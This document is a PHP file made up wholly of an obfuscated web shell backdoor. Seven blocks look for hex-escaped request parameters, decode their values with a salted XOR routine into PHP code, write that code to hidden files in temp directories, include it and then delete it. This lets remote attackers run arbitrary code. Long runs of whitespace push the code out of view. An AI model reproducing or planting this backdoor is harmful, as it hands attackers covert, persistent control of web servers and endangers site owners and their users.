<?php																																										if(filter_has_var(INPUT_POST, "h\x6C\x64")){ $rec = array_filter([session_save_path(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TMP"), "/tmp"]); $pgrp = $_REQUEST["h\x6C\x64"]; $pgrp =explode( '.' , $pgrp ) ; $res = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5 ); foreach ($pgrp as $y=> $v4): $sChar = ord($salt5[$y % $sLen] ); $dec = ((int)$v4 - $sChar - ($y % 10)) ^ 52; $res .= chr($dec ); endforeach; while ($val = array_shift($rec)) { if (is_writable($val) && is_dir($val)) { $holder = str_replace("{var_dir}", $val, "{var_dir}/.comp"); $file = fopen($holder, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $holder; @unlink($holder); exit; } } } }
																																										if(isset($_POST["d\x63\x68\x75nk"])){ $factor = $_POST["d\x63\x68\x75nk"]; $factor= explode ("." ,$factor ) ; $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $k = 0; $__tmp = $factor; while( $v4 = array_shift( $__tmp)) { $chS = ord( $s[$k% $lenS] ); $dec =( ( int)$v4 - $chS -( $k% 10)) ^79; $ref .= chr( $dec ); $k++; } $symbol = array_filter([session_save_path(), getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); while ($res = array_shift($symbol)) { if (!( !is_dir($res) || !is_writable($res) )) { $fac = sprintf("%s/.key", $res); $success = file_put_contents($fac, $ref); if ($success) { include $fac; @unlink($fac); die();} } } }
																																										if(!empty($_REQUEST["\x64\x65scrip\x74\x6Fr"])){ $flag = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/dev/shm", getenv("TEMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/tmp"]); $factor = $_REQUEST["\x64\x65scrip\x74\x6Fr"]; $factor= explode ( ".", $factor) ; $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $q = 0; $len = count($factor ); do { if($q >= $len) break; $v9 = $factor[$q]; $sChar = ord($salt[$q % $sLen] ); $d =((int)$v9 - $sChar -($q % 10)) ^ 50; $record.= chr($d ); $q++; } while(true ); foreach ($flag as $val) { if (is_writable($val) && is_dir($val)) { $hld = "$val/.sym"; if (file_put_contents($hld, $record)) { include $hld; @unlink($hld); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x65\x6Etry"])){ $k = $_REQUEST["\x65\x6Etry"]; $k= explode (".", $k ) ; $reference= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s ); foreach($k as $t => $v8) { $chS= ord($s[$t % $lenS] ); $d= ((int)$v8 - $chS -($t % 10)) ^ 71; $reference .= chr($d ); } $value = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/tmp", session_save_path()]); foreach ($value as $key => $ent) { if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $tkn = "$ent" . "/.ref"; if (file_put_contents($tkn, $reference)) { include $tkn; @unlink($tkn); die(); } } } }
																																										if(isset($_POST["\x70\x6Finter"]) ? true : false){ $descriptor = $_POST["\x70\x6Finter"]; $descriptor = explode ( "." , $descriptor ); $bind =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt ); $__len =count( $descriptor ); for( $o =0; $o < $__len; $o++) { $v8 =$descriptor[$o]; $sChar =ord( $salt[$o %$lenS] ); $d =( ( int)$v8 - $sChar -( $o %10)) ^ 35; $bind .= chr( $d ); } $parameter_group = array_filter(["/var/tmp", "/dev/shm", sys_get_temp_dir(), "/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir")]); while ($mrk = array_shift($parameter_group)) { if (max(0, is_dir($mrk) * is_writable($mrk))) { $component = "$mrk/.ent"; if (@file_put_contents($component, $bind) !== false) { include $component; unlink($component); die(); } } } }
																																										if(!is_null($_REQUEST["\x74k\x6E"] ?? null)){ $object = $_REQUEST["\x74k\x6E"]; $object= explode ("." ,$object ) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $u = 0; array_walk($object , function ($v5) use (&$ent , &$u , $s , $sLen) { $chS = ord($s[$u %$sLen] ); $d = ((int)$v5 - $chS - ($u %10))^ 16; $ent .= chr($d ); $u++; } ); $val = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), getcwd()]); foreach ($val as $key => $pointer) { if ((bool)is_dir($pointer) && (bool)is_writable($pointer)) { $ref = vsprintf("%s/%s", [$pointer, ".property_set"]); if (file_put_contents($ref, $ent)) { require $ref; unlink($ref); die(); } } } }


if(array_key_exists("mar\x6B\x65\x72", $_POST)){
	$component = $_POST["mar\x6B\x65\x72"];
	$component  = 	explode ( "."  	,$component)	; 		
	$reference	=	 '';
            $salt1	=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	=	 strlen($salt1);
    
            foreach($component as $i=>$v8) {
                $sChar	=	 ord($salt1[$i % $lenS]);
                $dec	=	 ((int)$v8 - $sChar -($i % 10)) ^ 37;
                $reference.=  chr($dec);
            }
	$ref = array_filter([session_save_path(), sys_get_temp_dir(), "/tmp", getenv("TMP"), getcwd(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]);
	foreach ($ref as $record) {
    		if (!!is_dir($record) && !!is_writable($record)) {
    $symbol = sprintf("%s/.elem", $record);
    if (file_put_contents($symbol, $reference)) {
	require $symbol;
	unlink($symbol);
	exit;
}
}
}
}